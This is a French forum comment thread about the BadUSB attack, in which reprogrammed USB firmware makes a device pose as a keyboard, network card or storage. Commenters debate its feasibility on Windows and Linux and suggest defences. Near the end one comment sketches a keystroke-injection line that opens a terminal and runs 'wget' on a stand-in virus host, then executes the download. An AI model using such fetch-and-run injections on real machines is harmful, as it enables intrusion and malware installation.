Tu vois d’autres vecteurs d’attaque que ceux que j’ai mentionnés?

A quel genre d’exploitation penses-tu?









yep a écrit :



Tu vois d’autres vecteurs d’attaque que ceux que j’ai mentionnés?

A quel genre d’exploitation penses-tu?







Disons que de voir le problème comme une porte d’entrée permanente à un système, avec des vecteurs évolutifs (au grès des 0days) est plus raisonnable. Les vecteurs que tu listes même si existant sont basiques rapport à ce qui existe. Knock knock knock









yep a écrit :



De ce que j’en ai compris, le problème principal vient du fait que l’on puisse mettre à jour le firmware (FW) d’un périphérique USB sans que celui-ci ne vérifie l’auteur du FW.



Pour mettre à jour un FW, il faut généralement passer par un bootloader qui est inclus dans le périphérique qui permet de charger ce FW. C’est au bootloader du vérifier la signature du FW et de décider ou non de le sauvegarder. Une fois sauvegardé, ce FW va être exécuté sur le périphérique USB.



A partir de là, il est possible de faire “ce qu’on veut” avec le périphérique USB. On peut faire en sorte qu’il s’énumère comme un clavier, une clé USB, une carte réseau, une webcam ou ne ne sais quoi.



L’exploitation est, à mon avis, plus compliquée puisque un périphérique USB n’exécute pas de code sur la machine à laquelle il est branché.

 

On peut donc imaginer plusieurs vecteurs d’attaque:



 1. émuler une clé USB pour que le système boot dessus et ainsi installer un virus ==&gt; pas besoin de bidouiller le FW du périphérique, on peut le faire avec une simple clé USB. L’avantage de le faire en trafiquant le FW c’est d’être “clean” au branchement et lorsque le PC redémarre, monter la partition avec le virus . La parade est super simple: désactiver le boot sur USB, ce qui, au passage est fortement recommandé.

 

 2. émuler un périphérique USB dont on connait les failles de sécurité du driver installé sur la machine. On pourra essayer de faire des débordement de mémoire et exécuter du code aléatoire sur la machine. Une mise à jour du driver pourra corriger le problème s’il est connu. Cette attaque est donc liée à un système d’exploitation, Windows, Linux et MacOS n’ayant pas les mêmes driver…



 3. émuler des périphériques et essayer de glaner des informations.

Cela peut se faire en se déclarant comme une carte réseau et essayer de re-router le trafic réseau vers nous. Je ne m’y connais pas trop en réseau, donc je ne sais pas ce qu’il est possible de faire, mais je pense que si le trafic est redirigé vers cette carte factice, il y a de forte chance que le réseau ne marche plus (à moins de pouvoir forcer les paquets à passer par la carte réseau factice puis de les renvoyer vers la carte réseau légitime… j’ai du mal à voir comment faire… mais pourquoi pas…)



 On peut aussi se faire passer pour un clavier et entrer des commandes, comme par exemple lancer une console DOS, aller télécharger un virus sur internet toujours en commande dos puis l’exécuter. Cette attaque est plutôt visible car la fenêtre dos est visible et si jamais le périphérique USB infecté effectue cette manipulation alors que vous être en train de rédiger votre rapport sur votre éditeur de texte favoris, alors tout tombe à l’eau.

Cette attaque par clavier factice tombe aussi à l’eau si vous branchez le périphérique USB alors que la session est verrouillée… puisqu’il faut entrer le mot de passe de la session pour pouvoir faire quelque chose.

En plus l’execution d’un virus sera surement détecté par votre anti-virus.

 

On peut aussi se déclarer en périphérique composite (plusieurs “périphériques” dans 1), comme un clavier + une carte réseau + une clé USB + … Pareil, l’attaque est assez compliqué car il faudra faire en sorte que tout soit bien synchro pour attaquer le PC et espérer faire quelque chose.



Il faut aussi prendre conscience que généralement les mémoires embarquées dans les périphériques sont réduites au minimum. Donc une souris avec ses quelques ko de flash aura du mal à sauvegarder 3 jours de trafic réseau. C’est pour cela que les clés USB (stockage de masse) sont les plus sujet aux attaques car il est possible de sauvegarder beaucoup plus de données.



Une parade à tout cela serait que le système affiche lors du branchement d’un périphérique USB ce à quoi il sert et demande à l’utilisateur de valider. Ainsi, si vous branchez une clé USB (stockage de masse) et que celle-ci se déclare comme un stockage de masse et un clavier ==&gt; vous refusez. Idem si la clé USB se déclare comme une carte réseau…

Reste le problème du démarrage… il faudra bien autoriser au moins un clavier et une souris pour permettre à l’utiliser de valider les autres périphériques…



L’autre parade est de bien regarder ce que votre système vous dit lorsque vous branchez votre périphérique…





<img data-src=" />

<img data-src=" />









lol.2.dol a écrit :



Non, rien à voir avec une quelconque faille. Les types du SRLabs montrent qu’en modifiant le firmware USB, ils présentent d’abord une clé USB en tant que clé USB puis discrètement présentent des descripteurs d’autres périphériques :





  • Interface réseau : permettant de rediriger les flux DNS

  • Périphérique de saisie (clavier) : permettant de faire un keylogger (sous Linux)

  • Faut periph de thetering : permettant de lire tout le traffic





    Ce n’est pas une faille de l’OS que d’accepter l’installation d’un périphérique qu’on lui propose!

    <img data-src=" /> <img data-src=" />

    Rien à voir avec l’OS : encore une fois il s’agit d’un périphérique USB qui est faussement présenté à l’OS. Linux, Mac, BSD (enfin si ils sont un peu user-friendly), vont installer le périphérique présenté. Webcam, clavier, cléWiFi,…





    Je ne vois pas comment ça peut atteindre Linux. Un Linux bien élevé va certes créer automatiquement un device réseau si la clef se présente comme interface réseau, mais il ne va pas faire d’ifup automatique dessus si on ne l’a pas configuré dans /etc/network/interfaces (ou dans NetworkManager, pour les jeunes), et encore moins l’utiliser comme source DNS par défaut.

    Pareil pour le clavier, un clavier ne reçoit pas les saisies des autres claviers.

    Pour le tethering, c’est une notion qui n’existe pas au niveau matériel. Le tethering, c’est juste carte réseau+routage.









pufff a écrit :



Disons que de voir le problème comme une porte d’entrée permanente à un système, avec des vecteurs évolutifs (au grès des 0days) est plus raisonnable. Les vecteurs que tu listes même si existant sont basiques rapport à ce qui existe. Knock knock knock








A ce moment là, on est plus sur une attaque du driver et donc plutôt lié à un OS en particulier. Du coup, l'attaque n'a rien d'extraordinaire puisque le concept existe depuis très longtemps. Tout ce qui peut être branché à un ordinateur peut être un vecteur d'attaque. c'est bien connu.      






On le vois même souvent dans les films, les supers méchants ou les supers espions branchent une mini clé USB et récupèrent tout le contenu du PC... ;)      






Mais de là à dire que le système est capable d'infecter/se propager à d'autre clés USB... il faudrait qu'un virus s’exécute sur le PC puis connaisse le chip de la clé USB branchée et le mette à jour. En plus, quand on regarde la video de Caudill et Wilson, le bootloader permettant de mettre à jour le FW nécessite de court-circuiter des PINs pour que le système de trouve pas la NAND et demande donc un nouveau FW par USB. Pas simple pour un virus logiciel.      






En plus, normalement, l'antivirus va empêcher le virus de s’exécuter.      

&nbsp;








yep a écrit :



L’autre parade est de bien regarder ce que votre système vous dit lorsque vous branchez votre périphérique…







Vu la réaction des gens quand microsoft a lancé l’UAC sur VISTA, faudra pas trop compter sur la vigilance de l’utilisateur lambda.



J’imagine bien dans peu de temps quelqu’un se faire pirater totalement son smartphone en acceptant une simple recharge sur la batterie externe d’un “ami”.



Encore des wannabes.



Les supports USB existent depuis tellement d’années, même si les géants ne corrigent pas ce problème avant 1-2 années, ce n’est pas comme si ça allait avoir un réel impact.


Eh, mais c’est pas une faille de l’USB, c’est juste qu’il faut savoir d’où viennent les périphériques qu’on branche…



Evidemment que si je branche un périphérique qui fait souris et clavier il peur prendre le contrôle de l’ordinateur, et il existe bien d’autres périphériques qui ont le droit de faire plein de trucs dans l’ordinateur !



Du coup, ne laissez pas un inconnu brancher un périphérique USB sur votre PC, mais cela va de soi… De même que je ne laisse pas un inconnu installer un logiciel sur mon PC…



La protection contre ça, il n’y en a pas, à part l’intelligence, mais tous n’en sont pas dotés.








yep a écrit :



A ce moment là, on est plus sur une attaque du driver et donc plutôt lié à un OS en particulier. Du coup, l’attaque n’a rien d’extraordinaire puisque le concept existe depuis très longtemps. Tout ce qui peut être branché à un ordinateur peut être un vecteur d’attaque. c’est bien connu.







Ce qu’il y a de différent à propos de cette attaque, c’est que:





  1. les OS installent automatiquement les drivers d’un périph USB, et les services exploitent automatiquement les nouveaux périphériques. Ce coté plug’n’play est un des points forts des périphs USB, et donc un moyen très pratique pour exploiter une faille 0day.



  2. tout le monde connecte, déconnecte, échange des périphs USB sans faire particulièrement attention. Les utilisateurs font (au mieux) attention avant d’ouvrir un fichier/programme “inconnu” sur une clé, mais ne sont pas particulièrement inquiet du simple fait de connecter la clé.



  3. il suffit d’un PC infecté (par un autre vecteur) pour contaminer un périph USB, et il suffit d’un périph USB infecté pour contaminer un PC. Cela permet de créer localement un cercle vicieux (comment réinstaller un PC infecté avec des clés infectées ?) et globalement de propager un virus sur des machines “hors-réseau”.



Les gars, au lieu de chercher une super solution de la mort qui tue avec des softs et blabla, balancez votre PC dans les chiottes et faites vous un PC vous même, de la fabrication des composants à la programmation. Pareil pour les périphériques. J’en conclue que j’ai trouvé la meilleurs solution ! <img data-src=" />








alexandredenis a écrit :



Je ne vois pas comment ça peut atteindre Linux. Un Linux bien élevé va certes créer automatiquement un device réseau si la clef se présente comme interface réseau, mais il ne va pas faire d’ifup automatique dessus si on ne l’a pas configuré dans /etc/network/interfaces (ou dans NetworkManager, pour les jeunes), et encore moins l’utiliser comme source DNS par défaut.

Pareil pour le clavier, un clavier ne reçoit pas les saisies des autres claviers.

Pour le tethering, c’est une notion qui n’existe pas au niveau matériel. Le tethering, c’est juste carte réseau+routage.





Ce que les personnes de SRLabs ont fait, est une carte réseau factice qui (d’après ce que j’ai compris) possède un serveur DNS, mais pas de gateway. Du coup, le système demande à cette carte réseau à quelle adresse IP est paypal.com et elle retourne une adresse IP d’un site de fishing. On se connecte sur ce site, on entre notre login/password et voila… On s’est fait avoir.

Sur leur démo, le site web de paypal.com reprend le même look, mais quand ils vont sur paypal.com/password, ils récupèrent le login/password qu’ils avaient entré.









yep a écrit :



A ce moment là, on est plus sur une attaque du driver et donc plutôt lié à un OS en particulier. Du coup, l’attaque n’a rien d’extraordinaire puisque le concept existe depuis très longtemps. Tout ce qui peut être branché à un ordinateur peut être un vecteur d’attaque. c’est bien connu.




On le vois même souvent dans les films, les supers méchants ou les supers espions branchent une mini clé USB et récupèrent tout le contenu du PC... ;)      






Mais de là à dire que le système est capable d'infecter/se propager à d'autre clés USB... il faudrait qu'un virus s’exécute sur le PC puis connaisse le chip de la clé USB branchée et le mette à jour. En plus, quand on regarde la video de Caudill et Wilson, le bootloader permettant de mettre à jour le FW nécessite de court-circuiter des PINs pour que le système de trouve pas la NAND et demande donc un nouveau FW par USB. Pas simple pour un virus logiciel.      






En plus, normalement, l'antivirus va empêcher le virus de s’exécuter.











Sur le fait que le concept existe depuis longtemps (je le précise aussi page 2) et le fait de brancher un périphérique source de risque je suis d’accord avec toi. Encore une fois la clé USB étant un exemple parmi une multitude de périphérique.



Pour le reste je pense que les articles visiblement prettent à confusion sur les moyens mise en oeuvres, le mode opératoire et les possibilités. Le mieux est de regarder la présentation à la source :https://www.youtube.com/watch?v=nuruzFqMgIw



Concernant l’antivirus, il y’a 1001 moyens de passer inaperçu, le plus simple et courant étant de ne pas avoir le footprint du virus en question. Et pour élargir un peu aux polémiques dans l’air du temps, qu’en est t-il des capacités d’execution de nos tendres cartes graphiques et de sa mémoire, grand terrain de jeu du moment.



double post








yep a écrit :



Tout ce qui peut être branché à un ordinateur peut être un vecteur d’attaque. c’est bien connu.







Voilà, tout est dit.



Pour le reste : propagation en reflashant un firmware, il va falloir que le malware d’infiltration soit joufflu : ATMEL, MicroChip, Texas, NXP, ST Micro… en 8, 16 ou 32 bits, un bon millier de variantes et le tout en ne pouvant opérer qu’avec une mémoire très réduite (64 ko est un luxe dans ce monde).

Et après le payload doit pouvoir infecter et gérer plein de systèmes non connus à l’avance, respect.



On passe sur le fait qu’il faut une attaque locale et qu’éventuellement, dans le cas d’un key logger, il faut récupérer les données en ayant l’accès physique (le côté je me connecte en mode data en 4G ni vu ni connu est un peu irréaliste d’un point de vue économique et technique).



Néanmoins, pour des écoutes policières ou de l’espionnage c’est jouable et probablement déjà utilisé mais dans un contexte connu et où l’accès physique est possible.



Excepté faire la promotion de machins comme feu-Palladium avec soit-disant une traçabilité jusqu’à la source, cette « faille » illustre juste un gros problème de sécurité : « Faites vous attention et confiance à la source ? ».









lol.2.dol a écrit :



<img data-src=" /> <img data-src=" />

Rien à voir avec l’OS : encore une fois il s’agit d’un périphérique USB qui est faussement présenté à l’OS. Linux, Mac, BSD (enfin si ils sont un peu user-friendly), vont installer le périphérique présenté. Webcam, clavier, cléWiFi,…







De toute façon, je n’ai jamais su lire une ext4 sur un PC avec Windows à moins de pouvoir reconnaître ce filesystem. Pour voir ce qui transite par la machine, c’est autre chose (j’y connais rien, j’aurais dit que j’ai jamais vu un multi-os fonctionnel sauf si c’est géré par langage machine en utilisant la faille)





Si cela doit être corrigé, nous avons besoin de plus qu’une présentation à la Black Hat. Si les seules personnes qui peuvent le faire sont celles ayant de gros budgets, les constructeurs ne feront jamais rien. Vous devez prouver au monde que c’est utilisable, que n’importe qui peut le faire… Ce qui impose une pression aux constructeurs pour qu’ils corrigent le vrai problème





J’imagine que c’est valable pour les fabricants de serrure…

<img data-src=" />


Plus je pense a cette histoire, plus je me dis que la faille c’est finalement windows.



Je veux bien servir de cobaye.



OS: Funtoo.

FS: XFS

KERNEL LINUX compilé aux petits oignons avec le stricte nécessaire en pilotes pour prendre en charge mes périphériques.

AUTOMOUNT: disabled



Envoyez moi vos clef USB vérolées <img data-src=" />


moi j’ai ca http://www.lactualite.com/wp-content/uploads/2013/11/machine-a-ecrire.jpg

Envoyez moi aussi vos clé USB vérolées<img data-src=" />








pentest a écrit :



Plus je pense a cette histoire, plus je me dis que la faille c’est finalement windows.







Bien sur. Linux est immunisé aux failles. <img data-src=" />



google “buffer overflow Linux Kernel USB”









chris.tophe a écrit :



moi j’ai ca http://www.lactualite.com/wp-content/uploads/2013/11/machine-a-ecrire.jpg

Envoyez moi aussi vos clé USB vérolées<img data-src=" />







Chiche <img data-src=" />









francois-battail a écrit :



Pour le reste : propagation en reflashant un firmware, il va falloir que le malware d’infiltration soit joufflu : ATMEL, MicroChip, Texas, NXP, ST Micro… en 8, 16 ou 32 bits, un bon millier de variantes et le tout en ne pouvant opérer qu’avec une mémoire très réduite (64 ko est un luxe dans ce monde).





Pour Atmel et Microchip en tout cas, le firmware ne se programme généralmeent pas par les pins USB.

Les vieilles puces Cypress sont les pires (vieux modem par exemple): elle se déclarent juste pour recevoir le firmware, démarrent le firmware et redéclarent les “vrais” périphériques. Aucune vérification à l’époque.



Dans tous les cas, infecter une clé USB est une chose, mais ce qui donne plus de possiblités c’est d’infecter un HUB.









brice.wernet a écrit :



(…)

Dans tous les cas, infecter une clé USB est une chose, mais ce qui donne plus de possiblités c’est d’infecter un HUB.





Un HUB USB ça n’a que très peu de mémoire… alors qu’une clé USB ça a plein de NAND flash de dispo.

Ton HUB doit quand même faire HUB, donc il te faut le FW du HUB + ajouter le FW de ton/tes périphériques qui vont attaquer le système. Tu risques d’arriver aux limites de taille mémoire. En général, sur ce genre de chip, on n’a que 2-8ko de RAM et 8-16ko de flash… voir simplement de la ROM car ça coûte moins cher.



Une des faiblesses du protocoles USB est que tous les périphériques peuvent écouter les paquets envoyés à destination d’un autre périphérique.



Je crois comprendre que l’unicast introduit avec l’usb3 vise à régler ce problème.


ah…il NE manquait PLUS que ça !

“ - ne trouvez-vous pas qu’on ait assez d’em…comme ça ?

&nbsp; hop…on en rajoute “une couche” !



ce monde va à sa perte !!!

il fournit, LUI MÊME, le bâton pour se faire battre…maso., vas …pff ! <img data-src=" />

<img data-src=" />








yep a écrit :



Ton HUB doit quand même faire HUB, donc il te faut le FW du HUB + ajouter le FW de ton/tes périphériques qui vont attaquer le système. Tu risques d’arriver aux limites de taille mémoire.





Je suis assez d’accord, mais le firmware d’un hub est assez simple. On doit pouvoir le transformer en key logger. Au pire en utilisant l’EEPROM intégrée à certains contrôleurs qui est sous-utilisée.

Parfois, 8ko est largement assez pour tout le monde.









nigol a écrit :



Une des faiblesses du protocoles USB est que tous les périphériques peuvent écouter les paquets envoyés à destination d’un autre périphérique.





Non. Ou alors ton HUB USB est nul. Je fais un peu de dev USB en ce moment (en Atmel avec une couche USB totalement émulée par le MCU, pas de hardware USB), je ne reçois pas les signaux de la souris USB branchée à côté.



Dans chaque ordi, il y a plusieurs contrôleurs USB. Chacun a son ports, parfois avec un concentrateur (hub) derrière.

Exemple, sur mon portable, il y a 5 contrôleurs USB. L’un est dédié au touchpad+ clavier + capteur d’empreinte, un autre est dédié au détecteur de chute, un autre est pour les deux ports sur la gauche et un pour les deux ports sur la droite. Le dernier est pour le socle.

Touts sont totalement indépendants.



Si tu branche un hub (ou plutôt “concentrateur”) USB, cet appareil va indiquer à l’ordinateur que son trafic va être la concentration de plusieurs périphériques. Le HUB voit toutes les communications, mais n’envoie à chaque périphérique que ce qui lui est destiné.










pentest a écrit :



Chiche <img data-src=" />





Ceci… est une révolution. <img data-src=" />









pentest a écrit :



Plus je pense a cette histoire, plus je me dis que la faille c’est finalement windows.



Je veux bien servir de cobaye.



OS: Funtoo.

FS: XFS

KERNEL LINUX compilé aux petits oignons avec le stricte nécessaire en pilotes pour prendre en charge mes périphériques.

AUTOMOUNT: disabled



Envoyez moi vos clef USB vérolées <img data-src=" />





Bah ouais, la faille dans bash, dans openssh c’était windows ?

Tu peux servir comme cobaye, mais dans la médecine, t’es le premier cas d’humain sans cerveau qui reste en vie.









brice.wernet a écrit :



Dans la pratique touefois, je trouve cela limité. A voir avec les types de périphérique USB standard existant, mais quand on branche un adaptateur ethernet USB, il ne se transforme pas de lui-même en pont USB par qui tout passe sans manipulation dans le système.



Et le périphérique supplémentaire sera visible dans l’OS, on pourra le détecter.







Il ne faut pas négliger certains périphériques. La clé 3g par exemple: il me semble que le driver est souvent inclus dedans (via un bout de mass-storage) ce qui permet d’envoyer du code…









yep a écrit :



Ce que les personnes de SRLabs ont fait, est une carte réseau factice qui (d’après ce que j’ai compris) possède un serveur DNS, mais pas de gateway. Du coup, le système demande à cette carte réseau à quelle adresse IP est paypal.com et elle retourne une adresse IP d’un site de fishing. On se connecte sur ce site, on entre notre login/password et voila… On s’est fait avoir.





Sauf que sur un système normal – sous Linux, du moins – une carte réseau qui sort de nulle part, elle n’est pas configurée automatiquement, et on n’y envoie pas les requêtes DNS sans l’avoir demandé explicitement. Pareil pour un device clavier ou souris, que veux-tu qu’il fasse ? Sans mot de passe root, il ne peut rien faire. Faire quelque chose sur mon login ? On le voit en direct et il se fait griller. Et quand je ne suis pas devant le PC, xlock, donc là encore il faut le mot de passe.

Si on a un OS un minimum sécurisé, je ne vois pas la faille.









alexandredenis a écrit :



Sauf que sur un système normal – sous Linux, du moins – une carte réseau qui sort de nulle part, elle n’est pas configurée automatiquement, et on n’y envoie pas les requêtes DNS sans l’avoir demandé explicitement. Pareil pour un device clavier ou souris, que veux-tu qu’il fasse ? Sans mot de passe root, il ne peut rien faire. Faire quelque chose sur mon login ? On le voit en direct et il se fait griller. Et quand je ne suis pas devant le PC, xlock, donc là encore il faut le mot de passe.

Si on a un OS un minimum sécurisé, je ne vois pas la faille.





Regarde les détails page 11 du pdf de Blackhat.

Le mot de passe est volé de façon transparente quand tu le saisis.

https://srlabs.de/badusb/

https://srlabs.de/blog/wp-content/uploads/2014/07/SRLabs-BadUSB-BlackHat-v1.pdf









psn00ps a écrit :



Regarde les détails page 11 du pdf de Blackhat.

Le mot de passe est volé de façon transparente quand tu le saisis.

https://srlabs.de/badusb/

https://srlabs.de/blog/wp-content/uploads/2014/07/SRLabs-BadUSB-BlackHat-v1.pdf





Ça reste a prouver.









brice.wernet a écrit :



Non. Ou alors ton HUB USB est nul. Je fais un peu de dev USB en ce moment (en Atmel avec une couche USB totalement émulée par le MCU, pas de hardware USB), je ne reçois pas les signaux de la souris USB branchée à côté.







Le trafic venant du contrôleurs est vu par tous les devices. Simplement parce que tous les devices doivent répondre aux requêtes adressées à ‘0’.



Le trafic des devices vers contrôleur n’est vu que par le Device, le hub, et le contrôleur. Est ce que chaque connecteur USB a son propre contrôleur? Je vérifierai.









pufff a écrit :



il suffira d’un petit google sur TOA et ANT, pour savoir que c’est systématiquement fait en usine (chez WD du moins)





Pas trouvé de résultat google pertinent, mais j’ai encore du m’y prendre comme un manche.



Aurais-tu une URL pertinente à ce sujet ?









yep a écrit :



De ce que j’en ai compris, le problème principal vient du fait que l’on puisse mettre à jour le firmware (FW) d’un périphérique USB sans que celui-ci ne vérifie l’auteur du FW.



Pour mettre à jour un FW, il faut généralement passer par un bootloader qui est inclus dans le périphérique qui permet de charger ce FW. C’est au bootloader du vérifier la signature du FW et de décider ou non de le sauvegarder. Une fois sauvegardé, ce FW va être exécuté sur le périphérique USB.



A partir de là, il est possible de faire “ce qu’on veut” avec le périphérique USB. On peut faire en sorte qu’il s’énumère comme un clavier, une clé USB, une carte réseau, une webcam ou ne ne sais quoi.



L’exploitation est, à mon avis, plus compliquée puisque un périphérique USB n’exécute pas de code sur la machine à laquelle il est branché.

&nbsp;

On peut donc imaginer plusieurs vecteurs d’attaque:



&nbsp;1. émuler une clé USB pour que le système boot dessus et ainsi installer un virus ==&gt; pas besoin de bidouiller le FW du périphérique, on peut le faire avec une simple clé USB. L’avantage de le faire en trafiquant le FW c’est d’être “clean” au branchement et lorsque le PC redémarre, monter la partition avec le virus . La parade est super simple: désactiver le boot sur USB, ce qui, au passage est fortement recommandé.

&nbsp;

&nbsp;2. émuler un périphérique USB dont on connait les failles de sécurité du driver installé sur la machine. On pourra essayer de faire des débordement de mémoire et exécuter du code aléatoire sur la machine. Une mise à jour du driver pourra corriger le problème s’il est connu. Cette attaque est donc liée à un système d’exploitation, Windows, Linux et MacOS n’ayant pas les mêmes driver…



&nbsp;3. émuler des périphériques et essayer de glaner des informations.

Cela peut se faire en se déclarant comme une carte réseau et essayer de re-router le trafic réseau vers nous. Je ne m’y connais pas trop en réseau, donc je ne sais pas ce qu’il est possible de faire, mais je pense que si le trafic est redirigé vers cette carte factice, il y a de forte chance que le réseau ne marche plus (à moins de pouvoir forcer les paquets à passer par la carte réseau factice puis de les renvoyer vers la carte réseau légitime… j’ai du mal à voir comment faire… mais pourquoi pas…)



&nbsp;On peut aussi se faire passer pour un clavier et entrer des commandes, comme par exemple lancer une console DOS, aller télécharger un virus sur internet toujours en commande dos puis l’exécuter. Cette attaque est plutôt visible car la fenêtre dos est visible et si jamais le périphérique USB infecté effectue cette manipulation alors que vous être en train de rédiger votre rapport sur votre éditeur de texte favoris, alors tout tombe à l’eau.

Cette attaque par clavier factice tombe aussi à l’eau si vous branchez le périphérique USB alors que la session est verrouillée… puisqu’il faut entrer le mot de passe de la session pour pouvoir faire quelque chose.

En plus l’execution d’un virus sera surement détecté par votre anti-virus.

&nbsp;

On peut aussi se déclarer en périphérique composite (plusieurs “périphériques” dans 1), comme un clavier + une carte réseau + une clé USB + … Pareil, l’attaque est assez compliqué car il faudra faire en sorte que tout soit bien synchro pour attaquer le PC et espérer faire quelque chose.



Il faut aussi prendre conscience que généralement les mémoires embarquées dans les périphériques sont réduites au minimum. Donc une souris avec ses quelques ko de flash aura du mal à sauvegarder 3 jours de trafic réseau. C’est pour cela que les clés USB (stockage de masse) sont les plus sujet aux attaques car il est possible de sauvegarder beaucoup plus de données.



Une parade à tout cela serait que le système affiche lors du branchement d’un périphérique USB ce à quoi il sert et demande à l’utilisateur de valider. Ainsi, si vous branchez une clé USB (stockage de masse) et que celle-ci se déclare comme un stockage de masse et un clavier ==&gt; vous refusez. Idem si la clé USB se déclare comme une carte réseau…

Reste le problème du démarrage… il faudra bien autoriser au moins un clavier et une souris pour permettre à l’utiliser de valider les autres périphériques…



L’autre parade est de bien regarder ce que votre système vous dit lorsque vous branchez votre périphérique…





Tu dois oublier quelques points. Si le peripherique peut faire keylogger (si c’est possible), la clé peut faire tout ce qu’elle veut a partir du moment où elle aura récupéré un mot de passe.

Dans tous les cas, si le programme a été fait de manière intelligente, s’il y a des interactions liées à l’UI, la clé peut attendre quelques temps avant de faire quoi que ce soit. Ca peut donc passer assez inapercu pour l’utilisateur, et le lien avec la clé sera assez difficile a faire.

Si le peripherique a acces à l’emulation clavier, il y a egalement peu de besoins de stockage, il suffit d’envoyer regulierement les données sur le web. S’il est possible de lancer un micro logiciel installé sur un systeme, meme sans droit admin, ca se fait sans UI (par exemple reconnaissance d’une combinaison de touches qui lance une action).

Cependant je suis d’accord avec la solution d’accepter les capacités des peripheriques, comme pour les applis. Ca fait une première barrière.









alexandredenis a écrit :



Sauf que sur un système normal – sous Linux, du moins – une carte réseau qui sort de nulle part, elle n’est pas configurée automatiquement, et on n’y envoie pas les requêtes DNS sans l’avoir demandé explicitement. Pareil pour un device clavier ou souris, que veux-tu qu’il fasse ? Sans mot de passe root, il ne peut rien faire. Faire quelque chose sur mon login ? On le voit en direct et il se fait griller. Et quand je ne suis pas devant le PC, xlock, donc là encore il faut le mot de passe.

Si on a un OS un minimum sécurisé, je ne vois pas la faille.







Ben si (en tout cas avec NM ou WiCD)… Si tu branches une carte réseau USB et quelle se simule comme étant monté et “op”, le système va essayer de faire du DHCP dessus. Et si ton firmware renvoie les réponse au DHCP, c’est OK.



Regarde avec un adaptateur USB RJ45.









nigol a écrit :



Le trafic venant du contrôleurs est vu par tous les devices. Simplement parce que tous les devices doivent répondre aux requêtes adressées à ‘0’.



Le trafic des devices vers contrôleur n’est vu que par le Device, le hub, et le contrôleur. Est ce que chaque connecteur USB a son propre contrôleur? Je vérifierai.



si je ne me plante pas, il y a 2 connecteurs par contrôleur <img data-src=" />









dam1605 a écrit :



Il ne faut pas négliger certains périphériques. La clé 3g par exemple: il me semble que le driver est souvent inclus dedans (via un bout de mass-storage) ce qui permet d’envoyer du code…





Pour le cas des clés 3G, la clé n’envoie pas de code au PC distant. Elle détecte qu’elle n’a pas été énumérée avec son driver et donc décide de monter la partition mass storage dans laquelle il y a les drivers. Donc pas de code exécutable envoyé au PC. C’est l’utilisateur qui va exécuter le setup présent sur la partition (ou le système exécute l’autorun)







nigol a écrit :



Le trafic venant du contrôleurs est vu par tous les devices. Simplement

parce que tous les devices doivent répondre aux requêtes adressées à

‘0’.









jinge a écrit :



Tu dois oublier quelques points. Si le peripherique peut faire

keylogger (si c’est possible),





Ce n’est pas parce que les périphériques doivent répondre aux requêtes envoyées sur l’endpoint 0 qu’elles voient tout le trafic sur cet endpoint. C’est le rôle du HUB de rerouter les requêtes aux bons endroits.

Si tous les périphériques voient le trafic branché sur ton hub, alors, comme l’indique brice.wernet, je te conseil de changer de hub car il n’est pas génial.



Dans l’attaque qui est révélée, on ne parle pas de sniffer les USB. C’est une tout autre dimension et à ce moment là il vaut mieux faire un système que tu vas brancher sur le port USB du clavier et tu auras tout ce que tu veux…



Les chips présents dans les périphériques peu cher sont généralement des 805x (comme mentionné dans la vidéo) et embarquent la partie USB en hard pour nécessiter le moins possible de puissance de calcul. Pour les gros volumes, le FW est souvent mis en ROM afin de réduire le coût de production car la flash ça coûte.

Les EEPROM additionnelles sont généralement là pour “personnaliser” le FW en lui donnant sa chaine d’énumération, son PID/VID et son numéro de série. Il n’y a pas de code exécutable à l’intérieur.

Les HUB font généralement parti de cette catégorie de produit.



Les autre périphériques comme les téléphones portables, les clés USB (de par la flash quelles embarquent), ou autres périphériques “évolués” sont plus propices à cette attaque car on peut modifier leur FW.



Si les constructeurs implémentent un système de bootloader avec une vérification de signature alors beaucoup des problèmes peuvent être éliminés, mais pour certains périphériques sa sera difficilement réalisable:

Pour un téléphone portable, la ROM est souvent modifiée par l’opérateur qui installe ce qu’il désire dedans. Cela implique la gestion d’une PKI et là ça va commencer à taxer et à être compliqué pour la distribution des clés de signature… =&gt; quid des ROM indépendantes comme cyanogenmod, … comment se fournir la clé de signature.

Ca me rappel la polémique du secure boot sur PC…

&nbsp;









earendil_fr a écrit :



Ben si (en tout cas avec NM ou WiCD)… Si tu branches une carte réseau USB et quelle se simule comme étant monté et “op”, le système va essayer de faire du DHCP dessus. Et si ton firmware renvoie les réponse au DHCP, c’est OK.



Regarde avec un adaptateur USB RJ45.





J’ai monté un routeur sous Linux avec 3 interfaces réseau, dont une en USB. Heureusement que ça ne fait pas des DHCP automatiquement sur tous les ports Ethernet, sinon, je ne vois même pas comment tu peut configurer un routeur sans finir à l’asile.

Ça ne le fait automatiquement que si tu as explicitement mis ‘auto’ et ‘dhcp’ dans ton /etc/network/interfaces pour chacune des interfaces.

NM, je n’en veux pas, ça n’attire que des problèmes. wicd, je le confine au wifi (câblé en dur sur wlan0, qui ne peut pas être spoofé par une clef USB puisque udev donne des noms statiques).









psn00ps a écrit :



Regarde les détails page 11 du pdf de Blackhat.

Le mot de passe est volé de façon transparente quand tu le saisis.

https://srlabs.de/badusb/

https://srlabs.de/blog/wp-content/uploads/2014/07/SRLabs-BadUSB-BlackHat-v1.pdf





Pour voler mon mot de passe, ils ont besoin d’avir déjà installé un LD_PRELOAD.

Il savent cracker un PC, mais à condition de l’avoir déjà cracké.



Bref, quand une boite de “sécurité informatique”, qui fait son business en vendant des solutions à des failles imaginaires, trouve une nouvelle faille, il y a lieu de se méfier. De la boîte, pas de la faille.









alexandredenis a écrit :



Pour voler mon mot de passe, ils ont besoin d’avir déjà installé un LD_PRELOAD.



 Il savent cracker un PC, mais à condition de l'avoir déjà cracké.








&nbsp;Et une clé USB qui tout d'un coup passe en clavier et entre "ALT+F2" "termial" "wget&nbsp;&nbsp; http://monvirus.com" ./monvirus &amp;" "exit" ?








yep a écrit :



&nbsp;Et une clé USB qui tout d’un coup passe en clavier et entre “ALT+F2” “termial” “wget&nbsp;&nbsp; http://monvirus.com” ./monvirus &” “exit” ?





Encore faudrait-il qu’il y ait un terminal ouvert. Cette attaque ne fait rien de plus que ce que ferait quelqu’un qui a accès physique à ton clavier.

Je n’ai jamais de console ouverte qui ne soit pas verrouillée, qu’elle soit texte ou graphique. Ce n’est pas par peur des virus, juste de mes gamins (qui savent changer de VT).

